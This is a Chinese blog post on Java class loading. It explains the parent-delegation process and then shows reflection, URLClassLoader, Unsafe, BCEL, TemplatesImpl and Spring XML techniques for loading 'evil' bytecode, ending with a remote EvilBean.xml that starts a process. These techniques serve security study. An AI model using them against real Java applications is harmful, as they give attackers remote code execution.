首页 > 编程语言 >Java类加载

Java类加载

时间:2023-07-24 18:45:06浏览次数:43  
标签:Java String ClassLoader class loadClass Class 加载

Java类加载

类加载过程

加载:JVM将class文件加载到内存中,并生成class对象

连接(验证、准备、解析):JVM校验class对象的规范性等

初始化:JVM执行class对象中的静态代码块的语句和对静态变量的赋值操作

使用:创建实例化对象、调用方法等

卸载:

类加载机制

类加载源码

protected Class<?> loadClass(String name, boolean resolve)
        throws ClassNotFoundException
    {
        synchronized (getClassLoadingLock(name)) {
            // First, check if the class has already been loaded
            Class<?> c = findLoadedClass(name);
            if (c == null) {
                long t0 = System.nanoTime();
                try {
                    if (parent != null) {
                        c = parent.loadClass(name, false);
                    } else {
                        c = findBootstrapClassOrNull(name);
                    }
                } catch (ClassNotFoundException e) {
                    // ClassNotFoundException thrown if class not found
                    // from the non-null parent class loader
                }

                if (c == null) {
                    // If still not found, then invoke findClass in order
                    // to find the class.
                    long t1 = System.nanoTime();
                    c = findClass(name);

                    // this is the defining class loader; record the stats
                    sun.misc.PerfCounter.getParentDelegationTime().addTime(t1 - t0);
                    sun.misc.PerfCounter.getFindClassTime().addElapsedTimeFrom(t1);
                    sun.misc.PerfCounter.getFindClasses().increment();
                }
            }
            if (resolve) {
                resolveClass(c);
            }
            return c;
        }
    }

原理

首先判断类是否已经加载,如果已经加载就直接返回类。

如果类没有被加载就调用类加载器(AppClassLoader、BootstrapClassLoader)加载类。

如果调用类加载器仍然没有成功加载类,则使用findClass方法加载类。

类加载器

BootstrapClassLoader:默认加载%JAVA_HOME%中lib下的jar包和class类文件

ExtClassLoader:加载%JAVA_HOME%中lib/ext文件下的jar包和class类文件

AppClassLoader:负责加载classPath下的类文件,平时引用的jar包以及我们自己写的类

核心方法

loadClass

java.lang.ClassLoader#loadClass(java.lang.String)

默认不开启类解析

public Class<?> loadClass(String name) throws ClassNotFoundException {
	return loadClass(name, false);
}

java.lang.ClassLoader#loadClass(java.lang.String, boolean)

可设置是否开启解析

findClass

findClass方法默认抛出异常,需要在使用过程中重写(一般重写实现从文件路径或URL获取到class文件),然后调用defineClass加载类

protected Class<?> findClass(String name) throws ClassNotFoundException {
    throw new ClassNotFoundException(name);
}

defineClass

将字节数组转换为类 Class 的实例

类加载的方式

java原生类加载

Class#forName

java.lang.Class#forName(java.lang.String)

java.lang.Class#forName(java.lang.String, boolean, java.lang.ClassLoader)

ClassLoader#loadClass

java.lang.ClassLoader#loadClass(java.lang.String)

ClassLoader classLoader = ClassLoader.getSystemClassLoader();
Class<?> clz = classLoader.loadClass("Calc");
clz.newInstance();

ClassLoader#findClass

ClassLoader classLoader = ClassLoader.getSystemClassLoader();
Method findClass = ClassLoader.class.getDeclaredMethod("findClass", String.class);
findClass.setAccessible(true);
Class calc = (Class) findClass.invoke(classLoader, "Calc");
calc.newInstance();

ClassLoader#defineClass

ClassLoader classLoader = ClassLoader.getSystemClassLoader();
Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass",String.class, byte[].class, int.class, int.class);
defineClassMethod.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("src/main/resources/Evil_bytecodes/Calc.class"));
Class calc = (Class) defineClassMethod.invoke(classLoader, "Calc", bytes, 0, bytes.length);
calc.newInstance();

其他方式加载

URLClassLoader#loadClass

URL支持的协议有file、http、jar

格式:

file:///path

http://ip/

jar:http://ip/!/

jar:file:///path!/

String url1 = "http://localhost:9999/";
String url2 = "file:///"+System.getProperty("user.dir")+"\\src\\main\\resources\\Evil_bytecodes\\";
String url3 = "jar:http://localhost:9999/!/";
String url4 = "jar:file:///"+System.getProperty("user.dir")+"\\src\\main\\resources\\Evil_bytecodes\\!/";
URL[] urls = {new URL(url1)};
URLClassLoader urlClassLoader = new URLClassLoader(urls);
Class<?> loadClass = urlClassLoader.loadClass("Calc");
loadClass.newInstance();

Unsafe#defineClass

Class clz = Unsafe.class;
Field theUnsafe = clz.getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafe.get(null);
ClassLoader classLoader = ClassLoader.getSystemClassLoader();
byte[] bytes = Files.readAllBytes(Paths.get("src/main/resources/Evil_bytecodes/Calc.class"));
Class<?> calc = unsafe.defineClass("Calc", bytes, 0,bytes.length, classLoader,null);
calc.newInstance();

BCEL

JavaClass cls = Repository.lookupClass(ClassLoad.EvilClass.Calc.class);
String code = Utility.encode(cls.getBytes(), true);
String bcel_code = "$$BCEL$$" + code;
new com.sun.org.apache.bcel.internal.util.ClassLoader().loadClass(bcel_code).newInstance();
System.out.println(code);
System.out.println(bcel_code);

TemplatesImpl

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void testTemplatesImpl() throws Exception {
        byte[] code = Base64.decodeBase64("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAbDAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAIAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAACgALAAAABAABAAwAAQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACgAAAA4AAwAAAA0ABAAOAAwADwABABAAAAACABE=");
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] {code});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        obj.newTransformer();
    }

类加载过程中代码执行情况

类加载过程中代码执行情况

加载阶段:不会执行代码。

连接阶段:不会执行代码。

初始化阶段:

类的初始化:静态代码块。

使用阶段

实例化对象:静态代码块,构造代码块,构造函数。

调用静态方法:静态代码块,静态方法。

类加载

Class.forName(String name)ClassLoader.loadClass(String name) 默认开启初始化功能,在加载类时会自动执行类中的静态代码块

实例化

创建类的实例化对象过程中会执行构造代码块、无参构造函数|有参构造函数

import org.springframework.context.support.ClassPathXmlApplicationContext;
import org.springframework.context.support.FileSystemXmlApplicationContext;

public class test {
    public static void main(String[] args) throws Exception {

        String url = "http://localhost:8000/EvilBean.xml";
//        new ClassPathXmlApplicationContext(url);
        new FileSystemXmlApplicationContext(url);
    }
}

EvilBean.xml

<?xml version="1.0" encoding="UTF-8" ?>
<beans
	xmlns="http://www.springframework.org/schema/beans"
	xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="
     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
	<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
		<constructor-arg >
			<list>
				<value>calc</value>
			</list>
		</constructor-arg>
	</bean>
</beans>

标签:Java,String,ClassLoader,class,loadClass,Class,加载
From: https://www.cnblogs.com/pacemrc/p/17578035.html

相关文章

  • java 中保留一位小数有以下几种方法
    使用String.format()方法,它可以按照指定的格式化字符串来输出数值,比如“%.1f”表示保留一位小数。例如:doublenum=3.14159;Stringresult=String.format("%.1f",num);//result="3.1"复制使用DecimalFormat类,它可以按照指定的模式来格式化数值,比如“#.#......
  • java并发编程(二)---上下文切换
    一、什么是上下文切换?  即使是单核处理器也支持多线程执行代码,CPU通过给每个线程分配CPU时间片来实现这个机制。时间片是CPU分配给各个线程的时间,线程会在分配的时间片内执行任务,因为时间片非常短,所以CPU通过不停地切换线程执行,让我们感觉多个线程是同时执行的,时间片一般是几......
  • 类加载及字节码
    Class类文件的结构Class文件是一组以8个字节为基础单位的二进制流,各数据严格按照顺序紧凑排列在文件中Class文件采用一种伪结构来存储数据,伪结构中只有两种数据类型无符号数:基本数据类型,以u1/u2/u4/u8分别代表1/2/4/8个字节的无符号数,无符号数可以用来描述数字、索引引用、数......
  • Java Commons-Collections链分析
    CC1调用链代码执行的关键点InvokerTransformer.java transform(Objectinput) Classcls=input.getClass();Methodmethod=cls.getMethod(iMethodName,iParamTypes);returnmethod.invoke(input,iArgs);主要靠transform方法用反射的方式执行命令input......
  • JavaScript数据结构和算法简述——数组
    为什么先讲数组数据结构可以简单的被分为线性结构和非线性结构。线性结构大致包括:数组(连续存储);链表(离散存储);栈(线性结构常见应用,由链表或数组增删和改进功能实现);队列(线性结构常见应用,由链表或数组增删和改进功能实现);非线性结构大致包括:树;图;其中,数组是应用最广泛的数据存储结构。它被......
  • JavaScript 需要清楚的10件事
    文/谢传贵  在学习JavaScript的过程中,最需要搞清楚的10件事是什么?关于这个问题有人在Quora上给出了的答案。其中提到了一些很有代表性的知识点(坑),但描述比较杂乱。下面我将在他的基础上进行重新编排和解释。希望对你学习JavaScript有些帮助(为避免文章跑题,以下内容先不考虑ES5......
  • 基于Java的日程管理系统开发
    完整资料进入【数字空间】查看——baidu搜索"writebug"摘要日程管理在日常生活中是十分普通的一件事情,人们无论在生活中还是工作中都会有大大小小、各种各样的事情安排,如果仅仅靠纸张或者自己记录这些事情,往往会遗忘。针对这样的痛点,本文提供了日程管理系统开发的一整套流程,从需求......
  • javascript基本数据类型与值类型引用类型说明
    DEMO:http://sources.ikeepstudying.com/jsdata/ 摘要:本文主要讲了javascript中的基本数据类型,以及值类型和引用类型的区别与使用一、基本数据类型在javascript中申明变量使用的关键字都是var,这点与其他的编程语言不尽相同,但是javascript亦含有五种基本的数据类型(也可以说是简......
  • 记录java中zookeeper客户端ZkClient一个小坑
    项目中使用org.I0Itec.zkclient.ZkClient库作为zookeeper的连接工具,一直很稳定。不过有个奇怪的问题,从ZooInspetor中连接Zookeeper,看NodeData,会发现数据像图中这样,字符串前面有一段奇怪的字符:一直不清楚"t%"这些像乱码一样的字符是什么东西。因为项目运行的比较稳定,也没报错,就......
  • 【idea编译问题】可以找打对应的class 但是 idea 提示 java: 找不到符号
    可以找打对应的class但是idea提示java:找不到符号这个问题有的时候,可能是lombock引起的,可以在maven编译的时候填写-Djps.track.ap.dependencies=false......